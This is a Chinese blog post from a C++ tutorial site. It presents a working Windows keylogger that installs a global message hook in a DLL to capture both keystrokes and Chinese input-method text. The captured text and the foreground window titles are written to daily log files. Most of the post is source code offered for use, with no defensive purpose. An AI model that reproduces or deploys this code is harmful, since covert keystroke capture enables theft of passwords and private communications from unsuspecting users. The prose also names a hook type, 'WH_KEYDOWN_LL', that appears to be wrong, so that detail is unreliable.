C++实现的支持中文的键盘记录工具
C++ #键盘记录2012-11-14 09:30
看到网上有很多键盘记录工具,技痒,于是自己动手写了一个。
记录键盘,很显然需要使用钩子。如果只是记录所按下的按键,使用WH_KEYDOWN_LL即可,此钩子可以拦截所有按下键盘的动作(除极少数键外)。但是如果要记录通过输入法输入的中文字符,那么WH_KEYDOWN_LL是不够的,这里需要使用WH_GETMESSAGE钩子。这个钩子拦截所有从消息队列中取出的消息。而windows上所有的输入法基本上都是采用将输入字符翻译成汉字之后,通过PostMessage将汉字回发给应用程序。所以利用WH_GETMESSAGE钩子,在应用程序从消息队列中取出汉字消息之前对消息进行拦截,从而记录。
下面是HOOKDLL中的主要代码:
WH_GETMESSAGE全局钩子,其钩子回调函数必须写在DLL中,不能通过传递函数指针的方式,将回调函数体写在其他Model中。
这里采用内存文件映射的方法来达到数据共享。共享的数据包括记录线程的ID,中文字符。回调函数在拦截到中文字符消息时,将中文字符保存到共享内存中,然后通过PostThreadMessage通知记录线程。
WM_IME_COMPOSITION:当输入法将转换后的中文字符推送到应用程序时,应用程序会处理此消息。
01 | BOOL CHookSystem::Start( int hookID) |
02 | { |
03 | if (g_hook) |
04 | Stop(); |
05 |
06 | if (!g_hook) |
07 | { |
08 | HOOKPROC lpfn = NULL; |
09 | if (hookID == WH_GETMESSAGE) |
10 | lpfn = MessageProc; |
11 | else |
12 | lpfn = MessageProc; |
13 |
14 | g_hook = ::SetWindowsHookEx(hookID, lpfn, CApplication::Hinst, 0); // 默认安装全局钩子,因为这是在dll中 http://yige.org/ |
15 | DWORD m = ::GetLastError(); |
16 | m_hookID = hookID; |
17 |
18 | ::PostMessage(NULL, WM_NULL, 0,0); |
19 | |
20 | return g_hook == NULL ? FALSE : TRUE; |
21 | } |
22 | else |
23 | return FALSE; |
24 | } |
01 | BOOL CHookSystem::Stop() |
02 | { |
03 | if (g_hook && !::UnhookWindowsHookEx(g_hook)) |
04 | return FALSE; |
05 | else |
06 | { |
07 | g_hook = NULL; |
08 | m_hookID = 0; |
09 | return TRUE; |
10 | } |
11 | } |
01 | LRESULT CALLBACK CHookSystem::MessageProc( int nCode, WPARAM wParam, LPARAM lParam) |
02 | { |
03 | LRESULT lResult = ::CallNextHookEx(g_hook, nCode, wParam, lParam); |
04 |
05 | if (nCode < 0) |
06 | return lResult; |
07 |
08 | HANDLE hThreadid = ::OpenFileMapping(FILE_MAP_WRITE, false , TEXT( "ThreadID" )); // 打开文件映射对象ThreadID |
09 | if (hThreadid) |
10 | { |
11 | int * pThreadid = ( int *)::MapViewOfFile(hThreadid, FILE_MAP_READ|FILE_MAP_WRITE, 0, 0, 0); |
12 | if (pThreadid) |
13 | KBthreadid = (*pThreadid); |
14 | else |
15 | return lResult; |
16 |
17 | UnmapViewOfFile(pThreadid); // 撤销此次映射 |
18 | } |
19 | else |
20 | { |
21 | return lResult; |
22 | } |
23 |
24 | TCHAR * pCNString; |
25 |
26 | PMSG pmsg = (PMSG)lParam; |
27 | if (nCode == HC_ACTION) |
28 | { |
29 | switch (pmsg->message) |
30 | { |
31 | case WM_IME_COMPOSITION: |
32 | { |
33 | //::MessageBox(NULL,TEXT("WM_IME_COMPOSITION"),TEXT("no"),MB_OK); |
34 | HIMC hIMC; |
35 | HWND hWnd=pmsg->hwnd; |
36 | DWORD dwSize; |
37 | TCHAR ch; |
38 | TCHAR lpstr[MAX_CN_STRING_LEN]; |
39 | if (pmsg->lParam & GCS_RESULTSTR) |
40 | { |
41 | HANDLE hCNString = ::OpenFileMapping(FILE_MAP_WRITE, false , TEXT( "CNString" )); |
42 | if (hCNString) |
43 | pCNString = ( TCHAR *)::MapViewOfFile(hCNString,FILE_MAP_READ|FILE_MAP_WRITE,0,0,0); |
44 | else |
45 | return lResult; |
46 |
47 | if (!pCNString) |
48 | return lResult; |
49 |
50 | //先获取当前正在输入的窗口的输入法句柄 |
51 | hIMC = ImmGetContext(hWnd); |
52 | if (!hIMC) |
53 | return lResult; |
54 |
55 | // 先将ImmGetCompositionString的获取长度设为0来获取字符串大小. http://yige.org/cpp/ |
56 | dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0); |
57 |
58 | // 缓冲区大小要加上字符串的NULL结束符大小, |
59 | // 考虑到UNICODE |
60 | dwSize += sizeof ( WCHAR ); |
61 |
62 | memset (lpstr, 0, MAX_CN_STRING_LEN); |
63 |
64 | // 再调用一次.ImmGetCompositionString获取字符串 |
65 | ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize); |
66 |
67 | //现在lpstr里面即是输入的汉字了。你可以处理lpstr,当然也可以保存为文件... http://yige.org/ |
68 | //MessageBox(NULL, lpstr, lpstr, MB_OK); |
69 |
70 | _tcscpy(pCNString, lpstr); // 拷贝到共享内存中 |
71 | ImmReleaseContext(hWnd, hIMC); |
72 |
73 | UnmapViewOfFile(pCNString); // 撤销此次映射 |
74 |
75 | PostThreadMessage(KBthreadid,WM_KEYHOOK_CN_EN, wParam, lParam); |
76 | } |
77 | } |
78 | break ; |
79 | case WM_CHAR: //截获发向焦点窗口的键盘消息 |
80 | { |
81 | PostThreadMessage(KBthreadid,WM_KEYHOOK_CN, pmsg->wParam, pmsg->lParam); |
82 | } |
83 | break ; |
84 | } |
85 | } |
86 |
87 | return (lResult); |
88 | } |
记录键盘信息是一个实时性比较高的任务,为了不影响前台界面,这里需要采用子线程的方式来进行记录。
在子线程处理函数中,通过PeekMessage来获取线程消息。在消息处理函数中,将输入的字符记录到文件中。
1 | void CMainWnd::StartKeyMonitorThread() |
2 | { |
3 | ::_beginthread(HookKeyBoardThread, 0, NULL); |
4 | } |
1 | void CMainWnd::StopKeyMonitorThread() |
2 | { |
3 | ::PostThreadMessage(ms_keyMonitorThreadID, WM_QUIT, 0, 0); |
4 | ::CloseHandle(hThreadid); |
5 | ::CloseHandle(hCNString); |
6 | ms_keyMonitorThreadID = 0; |
7 | hThreadid = NULL; |
8 | hCNString = NULL; // 防止句柄被释放两次 |
9 | } |
001 | VOID CMainWnd::HookKeyBoardThread( LPVOID info) |
002 | { |
003 | ms_keyMonitorThreadID = ::GetCurrentThreadId(); |
004 | int threadid = ms_keyMonitorThreadID; |
005 |
006 | hThreadid=CreateFileMapping(( HANDLE )0xffffffff,NULL,PAGE_READWRITE,0, sizeof ( int ), TEXT( "ThreadID" )); |
007 | hCNString=CreateFileMapping(( HANDLE )0xffffffff,NULL,PAGE_READWRITE,0,MAX_CN_STRING_LEN, TEXT( "CNString" )); |
008 |
009 | if (hThreadid) |
010 | { |
011 | int *pThreadid = ( int *)MapViewOfFile(hThreadid,FILE_MAP_READ|FILE_MAP_WRITE,0,0,0); |
012 | if (pThreadid) |
013 | *pThreadid = threadid; |
014 | else |
015 | { |
016 | CBaseWnd::MessageBox(TEXT( "创建内存映射失败" )); |
017 | return ; |
018 | } |
019 |
020 | UnmapViewOfFile(pThreadid); // 撤销此次映射 |
021 | } |
022 | else |
023 | { |
024 | CBaseWnd::MessageBox(TEXT( "创建内存映射失败" )); |
025 | return ; |
026 | } |
027 |
028 | MSG msg; |
029 |
030 | CString oldInputWndName; |
031 |
032 | while ( true ) |
033 | { |
034 | if (PeekMessage(&msg,NULL,WM_KEYHOOK_CN,WM_KEYHOOK_CN,PM_REMOVE)) |
035 | { |
036 | //const DWORD tid = GetWindowThreadProcessId(GetForegroundWindow(),NULL); |
037 | //AttachThreadInput(tid, GetCurrentThreadId(),TRUE); |
038 | CBaseWnd * pWnd = CBaseWnd::FromHandle(GetForegroundWindow() /*::GetFocus()*/ ); |
039 | CString curInputWndName; |
040 | if (pWnd != NULL) |
041 | curInputWndName = pWnd->GetWndName(); |
042 | //AttachThreadInput(tid, GetCurrentThreadId(),FALSE); |
043 | |
044 | CString fileName = (m_logPath + (CDateTime::Now().ToShortDate() + TEXT( ".log" ))); |
045 | CFileStreamC file(fileName); |
046 |
047 | if (curInputWndName.GetLength() > 0 && curInputWndName != oldInputWndName) |
048 | { |
049 | oldInputWndName = curInputWndName; |
050 | file.Write(TEXT( "\n[%s] " ), curInputWndName.GetCStr()); |
051 | } |
052 |
053 | TCHAR str[20] = {0}; |
054 | int len = MyGetKeyNameText(msg.wParam, str, sizeof (str)/ sizeof ( TCHAR )); //获得控制键名字,可能是非控制键则返回为空 |
055 | if (len > 0) |
056 | file.Write(TEXT( "(%s)" ), str); |
057 | else |
058 | file.Write(TEXT( "%c" ), msg.wParam); |
059 | |
060 | } |
061 |
062 | if (PeekMessage(&msg,NULL,WM_KEYHOOK_CN_EN,WM_KEYHOOK_CN_EN,PM_REMOVE)) |
063 | { |
064 | TCHAR *pCNString; |
065 | HANDLE hCNString=OpenFileMapping(FILE_MAP_WRITE, false , TEXT( "CNString" )); |
066 |
067 | if (hCNString) |
068 | pCNString=( TCHAR *)MapViewOfFile(hCNString,FILE_MAP_READ|FILE_MAP_WRITE,0,0,0); |
069 | else |
070 | continue ; |
071 |
072 | //const DWORD tid = GetWindowThreadProcessId(GetForegroundWindow(),NULL); |
073 | //AttachThreadInput(tid, GetCurrentThreadId(),TRUE); |
074 | CBaseWnd * pWnd = CBaseWnd::FromHandle(GetForegroundWindow() /*::GetFocus()*/ ); |
075 | CString curInputWndName; |
076 | if (pWnd != NULL) |
077 | curInputWndName = pWnd->GetWndName(); |
078 | //AttachThreadInput(tid, GetCurrentThreadId(),FALSE); |
079 |
080 | CString fileName = (m_logPath + (CDateTime::Now().ToShortDate() + TEXT( ".log" ))); |
081 | CFileStreamC file(fileName); |
082 | |
083 | if (curInputWndName.GetLength() > 0 && curInputWndName != oldInputWndName) |
084 | { |
085 | oldInputWndName = curInputWndName; |
086 | file.Write(TEXT( "\n[%s] " ), curInputWndName.GetCStr()); |
087 | } |
088 |
089 | file.Write(TEXT( "%s" ), pCNString); |
090 |
091 | memset (pCNString,0,MAX_CN_STRING_LEN); |
092 |
093 | UnmapViewOfFile(pCNString); // 撤销此次映射 |
094 | } |
095 |
096 | if (PeekMessage(&msg,NULL,WM_QUIT,WM_QUIT,PM_REMOVE)) |
097 | { |
098 | break ; |
099 | } |
100 |
101 | Sleep(1); |
102 | } |
103 |
104 | return ; |
105 | } |
这里在记录中文输入的同时,还记录的了当前所输入的窗口标题。
个别字符有乱码的情况,这是因为部分不可见字符没有进行屏蔽。
这个工具可以记录大部分中午输入,效率也还是很不错的,正常运行后,基本不会影响系统的正常使用。
相关文章
- C++引用和指针的选择 2012/11/14
- C++中MessageBox()的用法 2012/11/14
- 说说C++中的引用和指针 2012/11/14
- 说说C++虚函数 2012/11/13
- Visual C++中最常用的类与API函数 2012/11/13
- 说说C++下深拷贝和浅拷贝 2012/11/12
- C/C++数组名与指针区别 2012/11/12
- C++拷贝构造函数和赋值构造函数 2012/11/12
- 预处理指令#pragma详细解释 2012/11/12
- 如何自己编写Makefile 2012/11/12